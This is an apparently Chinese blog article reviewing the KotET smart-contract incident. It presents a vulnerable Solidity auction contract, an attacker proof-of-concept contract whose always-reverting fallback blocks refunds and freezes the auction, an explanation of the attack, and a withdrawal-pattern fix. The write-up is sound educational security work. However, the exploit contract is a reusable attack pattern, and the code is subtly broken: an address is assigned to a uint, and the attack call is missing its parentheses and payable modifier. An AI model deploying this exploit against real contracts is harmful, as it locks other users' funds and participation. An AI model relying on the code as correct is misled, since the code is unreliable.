1. 程式人生 > >智慧合約安全事故回顧(3)-DOS漏洞導致的KotET事件

智慧合約安全事故回顧(3)-DOS漏洞導致的KotET事件

現實世界中的網路都是有頻寬限制的,想象一下,一個訪問量穩定的網站,突然有人利用某種方式爆發式的將網站的訪問量提升,這個時候系統會作何反應?如果系統沒有合理的防DOS攻擊的方式,這種時候往往會造成伺服器癱瘓/崩潰。

DOS,即Denial of Service,拒絕服務。造成伺服器拒絕服務的攻擊被稱為DOS攻擊。早在區塊鏈之前,網際網路世界就存在的一種攻擊方式。在智慧合約中,往往有一部分函式的執行是依賴於外部呼叫的結果,這種情況下又沒有對外部返回的結果做嚴格控制,比如外部長期不返回或者返回結果非預期的處理。這種情況就有可能產生一些安全事故。本文介紹的就是由Dos攻擊導致的KotET安全漏洞事件。

 

事件介紹

KotET是一個區塊鏈遊戲的簡稱,遊戲中設立了一個“王位”,玩家通過傳送ether給智慧合約參與對王位的競選。如果A出價10ETH獲得“王位”後,B在出價20ETH,那麼合約會將10ETH返回給A,將王位轉移給B。然而在2016年2月6日至8日期間,許多玩家發現無論傳送多少的eth給合約來競爭王位都不能成功。

漏洞原因

先看一下合約的原始碼:

pragma solidity ^0.4.22;

contract Auction {
address public currentLeader;
  uint256 public highestBid;
   
  function bid() public payable{ //競選方法
      require(msg.value > highestBid); //判斷當前投入eth是否大於之前的最大值
      require(currentLeader.send(highestBid));//如果大於 把原有的王位擁有者的金錢退回
      currentLeader =msg.sender; //當選新的國王
      highestBid =currentLeader;
  }
}

這是一段非常簡單的合約程式碼,邏輯筆者都已經註釋。接下來講一下黑客的思路:因為bid方法首先判斷了金額的大小,滿足條件以後先將上一個“國王”退位,在賦值新的“國王”。那麼如果上一個國王一直不退位,是不是就可以一直沒有新的國王當選呢?

在看一下黑客的攻擊程式碼:

interface Auction{  //定義原有介面 方便呼叫
  function bid() external payable;
}
contract POC{ //定義攻擊合約
  address owner;
  Auction auInstance;  
  constructor() public{
      owner =msg.sender;
  }
  modifier onlyOwner(){
      require(owner == msg.sender);
      _;
  }
  function setInstance(address addr) public onlyOwner{ //例項化指定合約
      auInstance =Auction(addr);
  }
  function attack() public onlyOwner{ //攻擊方法
      auInstance.bid.value(msg.value);
  }
  function () external payable{ //合約預設回撥
      revert();
  }
}

上述的程式碼中,攻擊者申明瞭一個POC合約,在合約中定義了一個攻擊方法。順著這個方法的思路:

1.攻擊者首先呼叫Auction 例項化的合約,然後呼叫合約的bid方法,傳遞一定量的ether。首先攻擊者要滿足:require(msg.value > highestBid);這樣攻擊者建立的這個合約地址會當選為國王。

2.當有其他玩家入場,傳送了多於上一次數量的ether以後,那麼正常流程的話合約的bid方法的第二步會呼叫POC合約的send方法退回金額,然後讓攻擊者退位。但是攻擊者早就準備就緒。當send方法呼叫時首先會呼叫POC合約的回撥函式,回撥函式的實現內容是revert()函式,也就說無論結果如何都執行不成功。那麼就導致了require(currentLeader.send(highestBid))執行時永遠不會成功,所以其他競爭者無論投入多少eth伺服器都會沒有響應。這就完成了一次DOS攻擊。

防範

這種攻擊能實現的主要原因還是因為合約的實現過程中把方法的呼叫結果交由外部的返回結果來控制。這就為很多攻擊留下了隱患。所以我們在思考如何防範的時候應該思考的是化被動為主動,可以在合約中建立一個mapping,每個使用者可以退的金額多少儲存在mapping中,由使用者自己主動去請求合約來實現金額的退回。

其實在筆者的角度來看,DOS攻擊在網際網路的世界中其實是沒有辦法完全避免的,只能通過一定的手段來防護。降低這種攻擊帶來的危害。